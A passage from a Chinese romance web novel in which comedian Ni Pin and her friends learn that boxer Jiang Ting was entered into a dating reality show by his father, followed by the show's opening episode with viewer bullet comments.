倪品说了一个娱乐营销公司的名字,谈茗蹙了蹙眉,也没说什么,淡淡地“嗯”了一声。
“没什么事我就先走了,年后见。”
他又问:“不在长沙过年?”
“都两年没回了,和梁琼绿一起回老家过年。”
“什么时候走?”
“过两天吧。”
“梁琼绿的酒吧是吧?我送你。”
“不……”
话音未落,一辆电动车出现在眼前,驾驶人正是我们尊贵的某迪车主梁琼绿,她扣着一个落了灰的头盔,朝倪品抛个媚眼,“妹坨,摩的坐不咯?从这里到复兴中路只收你五百块。”
“出生,你怎么不收我五万块?”倪品这样骂着,还是大咧咧地坐上她“野摩托”的后座。
“再废话收你五个亿。”
梁琼绿让倪品抱紧她的腰,都要走了,才看到谈茗,揶揄道:“哟,这不是我们的【品茗】主理人,全长沙最出名的脱口秀之王,即将登上大荧幕的明日之星,我品的多年默契拍档,同时还是今晚最帅最有钱的男人吗?要不要去我店里喝一杯,但店里坐不下这么多人啊!”
“……下次吧。”
梁琼绿看谈茗不顺眼,这么多年都是这样,没得改。谈茗暂时还比不上梁琼绿在倪品心中的地位,不谈恋爱的话,以后也难。梁琼绿是任何人要和倪品建立关系,都必须跨过的难关。
谈茗可以肯定,他和倪品好不了,五成以上都是梁琼绿的“功劳”。他不知道为什么梁琼绿对他有成见,倪品私底下也问过几次,梁琼绿很直白:“他这人看着就轻佻,可能坏事。”
当时谈茗对倪品还没有那种想法,大家都只是大学生,他带着倪品搞喜剧,而梁琼绿已经是名气甚大的说唱歌手,上过综艺也做过热单,虽然没上大学,但思想和阅历上比他们成熟。
相比于倪品的“五湖四海皆朋友”,梁琼绿人际关系也广,但圈子风气让她带一点攻击性。她不是背地里说人坏话的人,通常当场就讲了,虽让人下不来台,也比背后捅人刀子要好。
而且,大部分时候,梁琼绿的直觉还挺准。
有段时间谈茗自己也不清楚对倪品是喜欢还是单纯的赏识,梁琼绿却一下子就看出来,警告他:“倪品没想和你处那种关系,你们不合适,现在是,以后也是,别宵想那有的没的!”
关于跨年那一夜发生的事,谈茗不知道梁琼绿是否清楚,但只要倪品本人不搬到台面上讲,他仍然有施展的空间。梁琼绿隔着灰蒙蒙的挡风玻璃,冷瞥了他一眼,油门拧得很有劲。
“回见。”
……
“你太有面了,绿,”倪品说,“这小电动车被你开得像哈雷摩托,气质拿捏得死死的。”
“品,你是我的女人,我怎忍心让你人前丢人?”
“……某迪已经让我丢尽了人。”
梁琼绿抹眼泪:“三妹哦,我命苦哦,现在是不得了哦,大明星的架子也大哦,瞧不起我们这小破电动车了哟,人家现在是大腕,出行都是坐保姆车哦,我就是你们老品家的保姆!”
“不讲不讲,去喝酒酒。”
趁等红绿灯的功夫,倪品问她:“你五月份空着不?杨导那个恋综缺个观察室嘉宾,我把你给引荐过去了,谈茗也要去,我就想着避嫌,改去当恋综嘉宾了,你就当替我还个人情。”
“行嘞,你把杨导推给我。”
梁琼绿又问:“意思是,你去现场谈恋爱,谈茗在观察室?哟呵,你让谈茗看着你谈啊?”
“那也总比跟他同框好受点吧,再说我觉得挺有意思,就算我不谈,看别人谈也有意思。”
“那倒是,我隔着镜头看你,也挺有意思。”<
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两人聊七聊八,到店里了还在聊,陈录山已经在吧台边喝上酒了。倪品跟酒保说老样子,来杯威士忌酸,用覆盆子醋,然后她接过当季的酒单,这份就是梁琼绿自己研发的当季新品。
她一年来不了几次green酒屋,当然,每次来了都是梁琼绿亲自招待。她坐在陈录山旁边,正好聊到蒋听,蒋听在悉尼的数字赛拿到他那个量级的冠军,在P4R世界排名又前进两位。
梁琼绿问:“他怎么没和你一起来喝?”
陈录山想说话,一口酒还没咽下去,倪品就回答:“他比完赛应该是直接回周口过年了。”
“嘿,”陈录山看向她,“你这都知道?”
“他自己说的啊,就前几天,他在悉尼发了条庆祝的动态,我去祝贺他,他就这么说的。”
“是啊,他和他弟都是在老家过年,年后再回长沙。啊,你在北京第二场cue到他了是吧?我刷到切片了,太好笑了,你压根不知道有多好笑,‘长沙必埋榜’那里我笑了四五遍。”
倪品颔首:“打卡过,质量很好,老人小孩都喜欢埋。”
梁琼绿讶然:“你真埋啊,我以为那是夸张手法而已,你怎么埋的啊,你就直接和他说?”
“怎么可能?就是不小心撞到了。”
“啊,我说嘛,你也不是‘诶,蒋先生,你的仍子挺大啊,能不能让我埋一埋’那种人。”
“我就是那种人!”倪品义正严辞,“我心里就是这么想的,但我不能说呀,姐们要脸!”
陈录山说:“要脸的姐们,干一杯!”
干杯。倪品喝了一口酸甜的酒液,和同频的搭子聊天真舒服。她又问陈录山:“今天我们才和杨导敲定了恋综的事,录制时间在三月份,要持续一个月,你有帮蒋听安排好行程吗?”
“啊?他要安排什么行程?”
“他不是去参加恋综吗?”
“什么?”陈录山眼睛都瞪大了,“他?蒋听?机一昂蒋,特应听,他要去参加恋综?!”
梁琼绿也乐了:“你还不知道这事?”
“什么?你们都知道吗?”
“没有,倪品是今晚吃饭的时候才知道的,我载她回店里的路上听说了。”梁琼绿顿了顿,“蒋听要去参加恋综没告诉你?我一开始还以为你恶搞他,除了你谁做这么无聊的事情?”
倪品:“呵呵,我也是这么想的。”
“这真冤枉我了!”陈录山把酒杯一落,“不行,我怎么也得问问蒋听,他去恋综干啥?”
我也想知道,倪品在心底默默地说,他看起来也不像想找对象的人啊。要在镜头底下和别人谈情说爱,说实话,能忍受自己的一言一行被那么多观众审判,必定有所求之物,有的人是想获得知名度上的助力,有的人是想择到更优质的配偶,或者说,谁会闲的没事上恋综呢?
所以,当陈录山立刻给蒋听打去视频电话的时候,她非但没制止,还挪了挪高脚凳,凑到他身边,其实她也想……看看他。视频打过去就接通了,蒋听的脸在一片黑暗中,风声尖啸。
“喂。”他说,“有事吗?”
镜头里,远处的路灯照不到他的脸上,一点点微弱的屏幕光,将他挺拔的鼻梁映出一条盈白的细线。河南还是太冷了,呼出的热汽顷刻化作白雾,削尖的下巴压在厚绒的护颈脖套上,他又变瘦了,脸上的线条也硬朗了许多,眼窝深深地陷进去,啊,眉尾那道伤,好得很快。
几乎快看不见疤痕了。
他没有看镜头,很随意地盯着不远处正在玩雪的小孩,偶尔冒出两句乡话,大抵意思是小孩子们不要把雪往别人衣服里塞。他在户外的雪地里,表侄晚饭之后出来玩雪,他帮忙看着。有小孩顽皮地朝他砸来雪球,他一只手打散,还是有几粒雪落到额发上,还挺有那种感觉。
雪地硬汉。
倪品一眨不眨地盯着屏幕里的人,没别的想法,只是琢磨他。撑着下巴,酒精在脸上发酵,烫乎乎的。黑暗中他的眼睛却很明亮,看到什么了,竟然很短促地笑了一下,笑声很清脆。
“你要去参加恋综,咋不和我说?”
陈录山问。就看见他嘴角的笑意渐渐消失了,然后,镜头缓缓摆正,他面对屏幕的脸,困惑而真挚。迫切地等待这个问题的答案,三个人都很安静,几秒后,蒋听问:“参加什么?”
“杨导的恋综啊。”
“谁参加恋综?”
“你啊。”
蒋听沉默了片刻。
“我吗?”
7. 春风沉醉的夜晚(7)
这太好笑了。
他要去参加恋综,自己却不知道。
他一定是被人给坑了。
“恭喜你,”陈录山忍俊不禁,笑到胃疼,“你是最后一个知道自己要去参加恋综的人。”
“我为什么要参加恋综?”蒋听问。
“那就要问你自己了啊,你为什么参加恋综,你是脑子秀逗了还是最近感觉有点寂寞了呢?也不应该啊,你这个年度单身贵族,你都寂寞了二十八年了,怎么可能一下子就开窍呢?”
“我没有给自己报恋综。”他想了想,脸色骤然黑了,“陈录山,你最近是不是太闲了?”
“天地良心啊!我真的什么都没做!怎么全都觉得是我给你报的?我的口碑这么差劲吗?”说罢,直接把手机塞给一旁嘎嘎乐的倪品,“这里有个跟你上同一个恋综的,你们聊聊!”
倪品一时间没反应过来。
她差点没接住手机,嘴角还持着笑意,眼睛已经瞪得老大了。在蒋听的视角,那是一张有些滑稽、受惊过度的脸,即便如此,倪品绝对不让人感到讨厌,看到她,就想发自真心地笑。
倪品的幽默如此成功,百分之二十得益于她那张喜庆的脸蛋,浅棕色的眼睛很灵动,五官是钝感柔和的,笑的时候露出一口洁白的贝齿,酒窝深深,像家家户户门上挂着的玉女金童。是的,打从娘胎里出来,倪品模仿起什么来就惟妙惟肖的,她有搞笑基因,连名字都搞笑。
你品,你细品。
长大之后她去当了小品演员,果真一炮而红,人人都说她有天分,她也誓要带给身边所有人能笑出眼泪的快乐。这是她的志向,她的目标,这么多年也没改变过,所以她才能够成功。
现在她就成功了,虽然屏幕对面的蒋听上一秒还阴沉着脸,但和她对视的一瞬间,嘴角微乎其微地勾了勾。倪品猜想,有几秒钟他一定没认出来她是谁,纯粹是因为她的脸太有喜感。
“倪老师。”蒋听轻轻点了点头。
“嘿,晚上好。”她不由自主地解释,“是这样的,我今天和杨导吃饭,凑巧看到了恋综嘉宾名单,上面就有你。因为我也要去参加嘛,就问了问陈教练,结果他说他不知道……”
她说话的时候,蒋听一直静静地盯着她,他的视角是微仰着的,走到有光亮的院子里,那张暗光下略显凶悍的脸,就没那么唬人了。他陈述道:“我没有报名过,不知道这档恋综。”
“但杨导说你是从官网渠道报名的,要填很多资料,而且要官方核实没问题才能给你过。”倪品顿了顿,善意地提醒,“会不会……是你身边的人没经过你的同意,就给你报名了?”
蒋听沉默了片刻,浓密漆黑的眼睫抖了抖,像是在回想。他说:“我大在年前是问过我一些星座和爱好的事,我是问过他要做什么,他说要给我报名男生女生向前冲,我就没多想。”
“哈哈哈!”梁琼绿彻底绷不住了,“男生女生向前冲,哈哈哈,这何尝不是一种男生女生向前冲呢?你看啊,恋综这玩意儿,有男生,有女生,还为了爱情向前冲,你爸没报错!”
“……”
倪品的脸稍微移出镜头,跟着梁琼绿和陈录山一起狂笑。笑完了,她才觉得非常过意不去,摆出一副非常替他着想的样子,“那你赶紧和杨导说啊,你说是乌龙,你本来没想去的。”
蒋听却陷入了沉思。
“怎么了?”倪品不由得问。
“算了,”他摇了摇头,“我大一直催我找对象,我还说为什么今年他不念叨我了,还经常一个人在被窝里偷偷怪笑。他给我报,那就去吧,不然又要和我怼架,过不好这个年了。”
倪品感慨:“你情绪真稳定,我以为你会一怒之下和你爸来一场酣畅淋漓的自由搏击呢!”
蒋听心平气和地道:“没必要,我没觉得恋综有什么不好,如果不好,你为什么也要去?”
“我……”倪品竟然无话可说。
对,那倒是,没什么不好,但是……“你知道恋综是去干嘛的吗?你真的能应付得来吗?”
“应付得来什么?”
谈恋爱啊。
梁琼绿听着这两人你来我往,怪礼貌的,她可等不及了:“恋综就是去谈恋爱的啊!兄弟,老哥,人家都是明确奔着找对象去的,你要是去了,最后没牵手成功,会非常掉面子的!”
这话一出,蒋听果然有点紧张感了,他迟疑地问,“上这个节目的人一定要牵手成功吗?”
这又把梁琼绿给问住了。
那倒不是,或者说,那怎么可能呢?就算是史上牵手率最高的恋综,也不敢打包票说每一个上节目的人都能牵手成功,哪有那么好的事?果然陈录山就直言不讳了:“还牵手成功呢,就你这熊样,不被人家第一个淘汰就够不错的了,你可知道恋综现在都是搞末尾淘汰制了,最不受欢迎的那个,人家根本不可能让你待到录制结束,第一次投票就把你扫地出门了!”
啊,虽然这也是倪品想说的,但被陈录山毫不留情面地指出来,她还是替蒋听感到了难堪:他真的知道自己情商不高,不讨人喜欢这件事吗?还是说,即便如此,他一点也不在乎呢?
蒋听却以一种近乎笃定的语气:“我去了,我人在那儿,有一个交代,不就行了?至于结果是怎么样的,有没有人选我,会不会被淘汰,能不能牵手成功……那又不是我能决定的。”
陈录山语塞了半天。
“少爷哦……”
他以手扶额。
蒋听这番说辞,无疑和他上《Real Real Talk》的时候如出一辙。没有什么本质上的改变,倪品现在就很清楚了,即便他知道她在门后偷听着,肯定也不会改变他话里的任何一个字。
他就是这么一个人。
倪品的眼睛亮晶晶的,目不转睛地打量他,他对她而言,就像一只新奇的逗猫棒对于小猫,在她还没弄懂他之前,她永远会对他兴趣充沛——她真想知道他在恋综上会有什么表现呀!
“我,”她突然说,“我会帮你的。”
这话一出,不仅是屏幕里的蒋听,就连身边的梁琼绿和陈录山也诧异地望着她。倪品则报以同样认真的语气,仿佛在较劲儿,“我会尽量不让你淘汰的,让你挺到综艺的最后一天。”
陈录山简直像看救星一样看她:“有你这话,蒋听可以高枕无忧了,蒋听,你还不谢旨?”
蒋听也说:“……谢谢。”
倪品却怔愣地松了口气,不知什么时候,她的背后已经渗出一层热汗了,脸上也是红红的。其实她是紧张,所以才口不择言了,她突然提出要帮助他,他肯定觉得有点莫名吧?但倪品是太着急了,她希望他不要打起退堂鼓,不然就没意思了。他是她参加恋综的一部分原因。
蒋听又问:“你们都在长沙过年吗?”
“呃,不,”倪品说,“我和梁琼绿回湖北过年,老家在那边,我们祖籍是湖北恩施的。”
“好的,那就年后见。”
“年后见——”
话音未落,视频一下子就被挂断了。倪品还对着聊天框出神,恍惚地翻看了一会儿,才发觉这不是她的手机,她赶紧还给陈录山了。坐在吧台边,交握着双手,她感觉心跳得有点快。
这是为什么?
一款冷蓝与桃红渐变的分层酒被推了过来。倪品顺着酒杯抬头看,看到一脸
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坏笑的梁老板,她朝她抬了抬下巴,傲慢道,“尝尝,这是我拟定的春季酒单的招牌酒,绝对叫你满意。”
陈录山:“哇!老板你偏心,凭什么我没有?”
梁琼绿:“我只推荐对的人喝对的酒。年轻人,你的良心告诉我,你要找的不是这款酒。”
倪品若有所思地端起这杯粉蓝渐变的酒,很漂亮,其中有灿金色的星云涌动,她忍不住先拍照片,然后才端起来喝了一口。朗姆酒的醇厚,红石榴糖浆略酸,无法割舍的苦涩与甜蜜。
她不禁问梁琼绿:
“这款酒叫什么啊?”
梁琼绿意味深长地微笑。
“迟来的初恋。”
-
回到家。
倪品脱下风衣,挂在玄关处的衣柜里,低头的时候,感觉有点发懵,果然还是喝多了,好在梁琼绿送她到楼下。那款名为“迟来的初恋”的酒味道太好,她喝了第二杯,还有第三杯。
不能说的,还有一些积重难返的陈年旧事,经年友人,她难以面对的老搭档。梁琼绿或许能理解她,但不能替她做出决定。她拖了这么久了,直到雪球越滚越大,再也无法坐视不管。
该怎么妥善处理他?
谈茗。
他把她逼得有点紧了,重压之下,她也会感到窒息,明知道不可能有结果,为什么这么多年还不死心?倪品倒真想报复性地恋爱,只要能让他死心,她就算随便找个人结婚也无所谓。
她和谈茗才不一样,谈茗是“真爱至上”,她是“事业至上”,一切都可以为了事业让步。况且倪品本来也对恋爱和婚姻没有期许,周围的人越是催她,她越想随便应付,草草了事。
一个适合过日子的男人。
她需要的就是:一个能好好过日子的男人,不闹腾,不矫情,不要整天为了爱要死要活的。她需要和他在同一个屋檐下,可以互不打扰,乐得清闲,也能浅聊上几句,吃一顿热乎饭。
她需要的就是一个看着称心的男人,又不要求他多漂亮,多聪明,多会讨女人的欢心,她只需要他每天把自己收拾得可爱些。就连这一点也做不到,倪品遇到的很多男人,都做不到。
难道是她眼光太高了吗?
叮咚。
短讯提示音。
这么晚了,到底是谁啊?倪品冒着火气地一把抓起手机,下一秒,所有怨气都烟消云散了。
蒋听:抱歉。
蒋听:手机没电了,不是故意挂视频。
竟然还有后续。
她回复:没事,该聊的也都聊完了。
蒋听:嗯。
蒋听:你们已经喝完酒了吗?
倪品:是的,大家都喝得有点懵了。陈教练喝得走不动道了,就直接睡在梁琼绿店里了。
蒋听:那你到家了吗?
倪品:到家了。
蒋听:好。
啊,无趣的人。倪品瘫倒在沙发上,缓缓地翻了个白眼,果然,还是见到他的时候,才觉得有意思,隔着冰冷的文字,就完全索然无味了。不过,也能想象他刻板的语调说出这些话。
蒋听:方便问你一件事吗?
什么事,她问。
蒋听:你是出于什么原因参加的恋综?
倪品的指尖倏然顿住。
许是她措辞的时间太久,蒋听又说,没事,不想回答也可以。倪品说倒不是不想回答,原因有点复杂,打字说未免太麻烦了。刚想问他能不能发语音条,他就直接把语音电话甩过来。
哇,真不愧是绝对直球之人。
倪品胆战心惊地接起——
“倪老师,”他问,“听得清吗?”
8. 春风沉醉的夜晚(8)
电流声划过,扬声器让他的声音带了点冰冷的磁性,就像一颗冰块跌入浓度数的烈酒,产生奇妙的温度碰撞。倪品的眼睛微微睁大,她感觉之前那股醉醺醺的感觉返了上来,好奇妙。
“……听得见。”她轻声说。
蒋听重复了一遍他的问题,问她参加恋综的理由是什么,“一两条就可以了,不用很详尽。我就是好奇为什么有人会主动选择参加恋综,或者,杨导的恋综有什么吸引人的地方吗?”
“呃,我是因为和杨导吃饭,正好发生了不可抗力的原因,她的恋综嘉宾空出来一位……”
蒋听明白了,“你也是临时顶上的。”
“嗯。”
“那你自己想去吗?”
啊。这。
“我也想的。”倪品顺应内心的选择,“我也想去多接触一下别的人,我不排斥谈恋爱。”
“嗯。”蒋听说,“我也是。”
他也想多去接触一下别人?
倪品失笑了:“完全看不出来!你看起来就是一副‘别烦我’的样子,就你这样也想……”
也想接触别人,拉倒吧。她不能随便开他的玩笑,她还得收着点。倪品讷讷地掐断了话头。
蒋听的语气有些错愕。
“我给人那样的印象吗?”
“你自己不知道吗?采访你的时候,完全可怕,完全严肃之人,还真不能怪网友都说……”
“都说我是笑点珠穆朗玛峰。”蒋听说,“这个我知道了,倪老师,我比赛完就去补课了,网友说我情商很低,还有那些……我都知道了,但是,也谢谢你用善意的谎言来欺骗我。”
倪品也只说:“唉,你别放在心上,我们压根没有那么想,都知道你只是说话有点直白。”
“嗯,”蒋听说,“我大告诉我,说话是一门艺术,但是艺术这个东西,有的人天生就会,有的人怎么学也学不明白。我就觉得你是一个非常懂得聊天的人,和你聊天也很舒服。”
怎么回事,善良人格大爆发?
倪品说:“还好,还好。”
“上恋综之前,我还想知道一下有什么注意事项,所以才打这一通电话来。陈录山说我在镜头前很容易说错话,让观众产生不好的观感,我想知道在恋综上,什么能说什么不能说。”
“啊,那倒没有特别不能说的,恋综其实……”倪品摸了摸鼻尖,“哈哈,因为我也只看过恋综,没有去体验过,但就是一群年轻人生活在同一屋檐下,互相接触,看看合不合适。”
蒋听说:“相亲?”
“对对,你可以这么理解,就是一场群体性的相亲。你可以喜欢这个人,也可以转而去追求别的人,也可以暂时不做出选择,再观察观察……但很多情况下,你要被迫地做出选择。”
“比如?”
“比如刚认识的第一晚,节目组就会让你说自己最好感的女生,往往要把你自己的感情轨迹毫不掩饰地展现给观众,这其实有一点冒犯,但是,观众们喜欢,大家都喜欢当磕学家。”
“那我要按照自己的内心选吗?”
“当然,至少在这个恋综,你可以随心所欲一点,因为杨导是不会给任何人安排剧本的。”倪品顿了顿,“我想杨导请你来也是这个原因,因为你是不愿意逢场作戏的人,所以……”
“嗯,我觉得很好。”蒋听也说,“可以按照自己的想法来。”
“对呀,再说了,就当出去交一些朋友嘛!”倪品用着类似哄骗的语气,“你想一想,你的工作原因,还有你的性格,导致很难接触新朋友,这反而是个机会,要是牵手成功了呢?”
蒋听却不认同她的说法:“我听说节目组的录制只有一个月,并且还是大家白天上班,晚上同住的情况下,我觉得如果把一个嘉宾作为恋人去接触,不管是谁,这点时间都太短了。”
“可牵手成功只意味着一个讯号啊,一个‘我愿意和你继续发展下去的信号’,你那么想就太保守了,又不是牵手成功就必须要捆绑起来,觉得不合适,分开就行,没什么所谓的。”
“你说的也有道理。”
她又不乏好奇地问:“你觉得一个月太短,那在你看来,接触多长时间合适确认关系呢?”
“……”这似乎把蒋听问住了。她听见他那边停滞几秒的呼吸,随后,低沉地叹了一口气。
“我也不知道,没有谈过。”
“没谈过恋爱吗?”
“没有。”
“一次也没谈过?”
“……很丢人吗?”
啊!受不了!倪品在床边笑得前仰后合,她感觉蒋听还是太有意思了,一个天然呆属性的暴力熊,又没谈过恋爱……他肯定是个正经处男,正如梁琼绿私底下对这位金牌拳手的评价:
“这种仍子大的做起来最纯了。”
“不,”她赶紧解释,“就觉得你们那个圈子……压力很大什么的,都是一些二十出头的年轻人,而且也听过一些不太好的传闻,你也懂的吧?呃,我绝对不是说你是这样的人啊!”
蒋听难得的明白了:“我理解,但我不是乱来的人。我大说男人应该检点,不然没人要。”
“……你爸说的也挺对。”
蒋听“嗯”了一声,看起来是发自内心的认同。倪品嘴一张,好几个颜色玩笑想说出口,但怕他接受不来,还是算了。正在这时,他轻轻地“嗯?”了一声,“杨导给我发了东西。”
倪品划回主界面,一看,“也给我发了。”
“亲爱的嘉宾,你的报名已经通过审核,并再三确认参与。下面发放本节目的问卷调查,请及时填写并签署保密文件。此外,由于申报原因,本节目由原先“恋爱的季节”改为——”
两人同时念出。
“春风沉醉的夜晚?”
-
“欢迎来到都市恋爱综艺《春风沉醉的夜晚》,我是主持人周诠,很高兴在《春风》和大家见面。哇,观察室里面已经非常热闹了,让我们看看本季的嘉宾有哪些,哇,是韩峥姐!”
“大家好。”韩峥朝镜头得体微笑。
弹幕飞快地滚动。
【呜呜呜,峥姐真是我的女神!】
【完全看不出四十多岁,太美了啊……】
“还有我们的王江青,青哥,你好。”
“你好你好,呃,很高兴来到《春风沉醉的夜晚》。”他讲话带点港腔,差点把“醉”说成“睡”,惹得周遭的嘉宾一阵大笑。周诠说,“咱们这春风可不能沉睡啊,得精神起来!”
“大家好,我是谈茗。”
“我是梁琼绿,请多指教。”
“谈老师相信大家都知道,琼绿呢,既是本季邀请的常驻嘉宾,同时也是节目主题曲《春夜》的创作人,相信老师在参与这季的恋爱观察后,能有更多的灵感,多多产出作品啊!”
【啊,是John Green!我听过她的歌!】
【这年头说唱歌手也能上综艺了?】
【楼上,这都什么年代了,包容开放一点好不好?再说这已经是我们绿的善良人格了。】
【笑死,梁琼绿不说脏话就已经很为难她了,把她请来当观察室嘉宾,有看头了啊……】
“会的会的。”梁琼绿说。
“诶,说到创作相关的话题,本季还有一个神秘的特邀嘉宾,和‘春’相关,让我们猜猜她是谁?……没错,就是作家建春,老师好,这应该是第一次在节目上露面吧,感觉如何?”
建春拿起话筒:“很有意思。看这么多年轻面孔,又想到那些即将发生的事,很期待。”
一番寒暄后,所有春天观察员都做好了准备。大屏幕闪了闪,出现了两个月前的拍摄现场。
《第一期:Hi!春风!》
镜头给到一幢精美的半山别墅,背景是夜色下的岳麓山。在一片此起彼伏的“真漂亮”“节目组下血本了”的赞叹声中,画面一转,一个关于背影的特写,水绿色的波西米亚风长裙。
【我去我去,第一个女嘉宾已经来了!】
【看起来好淑女啊,是谁是谁?】
“我来得这么早吗?”
这个女生惊讶地问。
“等等!”主持人周诠说,“我怎么感觉这个女生的声音有点耳熟?”他说罢,看了眼谈茗和梁琼绿,只见前者的脸色有几分不自然,而后者则饶有兴致地微笑,说,这我可猜不出。
【对,我也感觉在哪里听过!】
【我去……应该不是我想的那个人吧……】
镜头终于移到她的脸上。
倪品看了眼表,“不是吧,不是说晚上六点半集合吗?我就提前了十分钟,我是第一个?”
【哇!!真的是倪品!!】
【笑死,倪品你怎么在现场啊,你应该和谈茗一起坐在观察室啊,导演有人走错地方了!】
【哇,倪品来恋综,真是活久见了……我没别的意思,我得了一种看到倪品就想笑的病。】
非常懂事的,导播立刻切到观察室里的谈茗身上,他也露出不好意思的、面对熟人的笑容。
韩峥笑问:“小谈,看见熟人感觉怎么样?”
谈茗皮笑肉不笑地说:“哇,镜头里这个打扮得这么漂亮的女生是谁?把我搭档还给我。”
梁琼绿说:“这是我发小。”
“诶,那这个女嘉宾有点人脉啊!”周诠说,“观察室里的两个人都认识她,加上我,就是三个人了,而且不少网友也能说出她的名字,甚至去过她的现场,没错,她就是倪品,职业是喜剧演员兼主持人,也是目前登场的第一位女嘉宾,当我们继续看看会发生些什么吧!”
不同于观察室里欢快的气氛,录制现场其实是有些尴尬的。无数个漆黑的摄像机对准了一张庭院里的餐桌,五张餐椅面对面,分别对应了十位春日嘉宾,倪品选了最靠边的位置坐下。
她没等多久,第二个嘉宾就来了,坐在对面。“周迟昼。”他做自我介绍。是个浓眉大眼,五官深邃且带点混血感的男生,“我知道你。经常看你的脱口秀,就是没机会去现场。”
“啊,工作繁忙,理解理解。”
周迟昼是一位资深律师,目前在长沙的麓合律所工作,年二十八岁。这个年龄做到合伙人以上都很厉害了,倪品心想,杨导说的没错,挑选的嘉宾确实质量都很高,是职场里的精英。
两人聊着一些基本的、嘉宾之间都应该相互了解的信息,紧接着,又是两位嘉宾到来,一男一女,在两人的对面坐下,很默契的,大家都不约而同遵循了男生一排,女生一排的规则。
直到一个人的出现。
“呃,大家好,我叫王醒。”他耷拉着眉眼,看起来无精打采的,竟然坐到了女生位置上。
这也是最后一个女生位置,而对面的男生位置还有两个,这就让下一个女嘉宾不得不坐过去了。“好尴尬……”她很小声地和身边人说,问及她的名字,叫李可颜,职业是平面模特。
“那就只剩最后一个男生了。”有人说。
“嗯,对,只差最后一个,所有人都来齐了。”
一个女生抱怨道,“好饿哦,没吃晚饭,刚下班了就赶过来。”她立刻得到了附和的声音,所有嘉宾都是朝九晚五的上班族,所以节目采用夜间住宿录制的形式,就容易赶不上饭点。
最后一个嘉宾,也就是压轴出场,大家都在猜测是谁呢,倪品却非常清楚。跟随众人好奇的视线,看向花园小径的尽头,那道高大而缄默的身影出现,走得很快,像乘着清润的夜风。
“哇!”有人直接站了起来。
弹幕也炸开了花。
【开玩笑吧!这节目连世界冠军都请过来了?】
【我去这什么神仙阵容啊,前有倪品后有蒋听,这俩凑一起,就是狗屎也得来尝尝咸淡!】
【哈哈哈楼上肯定看采访切片了,这两人我感觉是有结下梁子的,你看倪品表情很僵硬!】
镜头扫过倪品的脸,表情确实有些不自然,但只有她自己知道,她是实在绷不住了——全因蒋听今天穿了一件量身定制的Zegna西装,很正经,很斯文,看起来都完全不像他本人了!
她以为他会穿运动服来呢!
“哇!哇!”女嘉宾柳之琳率先做出反应,“蒋听!天呐!你每场比赛我都有看!偶像!”
蒋听走过来和她握手,“谢谢。”他说,抬起手臂时牵动了领口,那饱满的胸肌趁得衬衣也格外紧绷。就连观察室的人也在感慨这身材太好。谈茗主动cue了倪品的梗:长沙必埋榜。
【哈哈哈笑不活了,必埋榜来了,统统退让!】
【自从看了倪品那几场单口,我真的再也无法正视蒋听了,满脑子都是他的大仍子……】
【啊啊啊!蒋听和倪品也握手了!】
“又见面了。”是蒋听率先朝她伸出手的。隔着柳之琳和另一个女生,他朝倪品微微倾身。冰冷而专注的眼神落在她的脸上,倪品今天化妆了,和裙装搭配的绿色眼影,一叠细亮片。
“哈哈哈,是啊,又见面啦。”倪品还有点不习惯,她以为蒋听不会一进场就和她说话呢。尴尬之余,她又问,年过得怎么样,蒋听说还好,因为有参加恋综,没再被家里
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人催婚了。
【哈哈哈,蒋拳王也会被人催婚啊。】
【蒋听年纪也不小了吧,二十八九了,都奔三了。啊,话说所有女嘉宾都没有低于二十五的,年纪最小的是李可颜,二十五岁,还有徐席,她应该是在场最大的嘉宾,都三十四岁了。】
【你们咋记的这么快啊,我都没分清这些人的名字呢,有点印象的也就是倪品和周迟昼。】
【周迟昼是男嘉宾里最帅的,嘿嘿,真的好帅,年上轻熟男这一款,刚才一直在看倪品!】
【哦哦,看起来有戏喔。】
“啊,那这封信就可以拆了。”
李可颜晃了晃手里的信,笑得沁甜又俏皮。这张信一开始就摆放在餐桌的正中央,上面写着“所有嘉宾到齐后才可打开”。众人一起打开它,上面写着接下来要做的事——准备晚饭。
「饥肠辘辘,两眼放光,浪漫萌动的春天让人的胃口也变得好好,请嘉宾们分为两组,分别坐车前往超市购买食材,准备今晚的晚餐。要求:每组至少有两位男生和两位女生。」
周迟昼说:“信封里还有车钥匙,应该是停车场那边节目组备的两辆车,我们开车去。”
“啊。”刘观涧说,“我还想着开自己的车呢,主要是都特地牵到这里,不想吃灰了。”
【呃,这个男的我记得是搞金融的吧,好奇怪突然来这么一句,是为了展示自己有车吗?】
【破案了,之前他入场的时候镜头给到车了,开的是宾利,符合我对宾利男的刻板印象。】
【这有啥好炫耀的啊,我们徐席姐姐还开的劳斯莱斯呢,人家可什么都没说,有够低调。】
【我去,你们都是啥火眼金睛啊,我看的时候完全没发现,我晕,这些嘉宾都好有钱啊!】
徐席确实有够低调,她家是从事超导材料方面,刚来的时候就用气场碾压了全场,一身干练的职业西装,贝壳卷短发,眼神锐利得能刺破屏幕。她并不张扬,只是淡淡说自己能开车。
“你们都会开车?”张月的声音和她本人一样秀气,“我还没学过驾照呢,今年刚报名。”
倪品说:“在长沙的话其实也不需要,公共交通挺发达的,我就经常坐地铁或者公交车。”
“对,”这引起张月的共鸣,她是做珠宝设计的,去年才从意大利留学回来,目前还不是很适应国内的生活。她松了一口气,“我目前手头挺拮据,想等工作稳定再考虑买车的事。”
【呜呜呜,张月好真实,打工人是这样的。】
【终于回到我们农村人频道了,这些成功人士看得我不敢说话,感觉完全是两个世界啊。】
要分配两车的人员,首先就是定下开车的。徐席开一辆,剩下一辆大家打算让一个男生开,周迟昼和刘观涧都自告奋勇,“我来吧。”周迟昼有点强硬的感觉,“回来的路上你开。”
观察室内。
“咦!”梁琼绿说,“目前给我印象最深刻的男嘉宾就是周迟昼,感觉有点领导者人格。”
谈茗颔首:“我也觉得,你看他就一直在观察场上的人,然后说话也带有做决定的意思。”
韩峥笑了笑:“这种男生在这里会很加分哦,尤其嘉宾们都是二十五岁往上,已经步入职场的情况下。在完全陌生的环境里,大家互相不熟悉,最先记住的肯定是‘领导者’角色。”
王江青:“而且他和刘观涧真的就是……很明显的对照,你看刘,遇见他一下子就怯场。”
“继续看下去,赶紧赶紧!”
分配好了两位司机,突然间,倪品自告奋勇要坐徐席的副驾,这让徐席轻瞥了她一眼。后座三个男生分别是王醒,赵辛平和蒋听。另一辆车的前座是周迟昼和刘观涧,后座三个女生。
因为大家不熟,所以车上也只是讨论了该吃什么,最后大家一致决定吃火锅,这是准备起来最简单,也最适合厨房小白的晚餐。徐席问起谁比较会做饭,后排只有王醒默默举起了手。
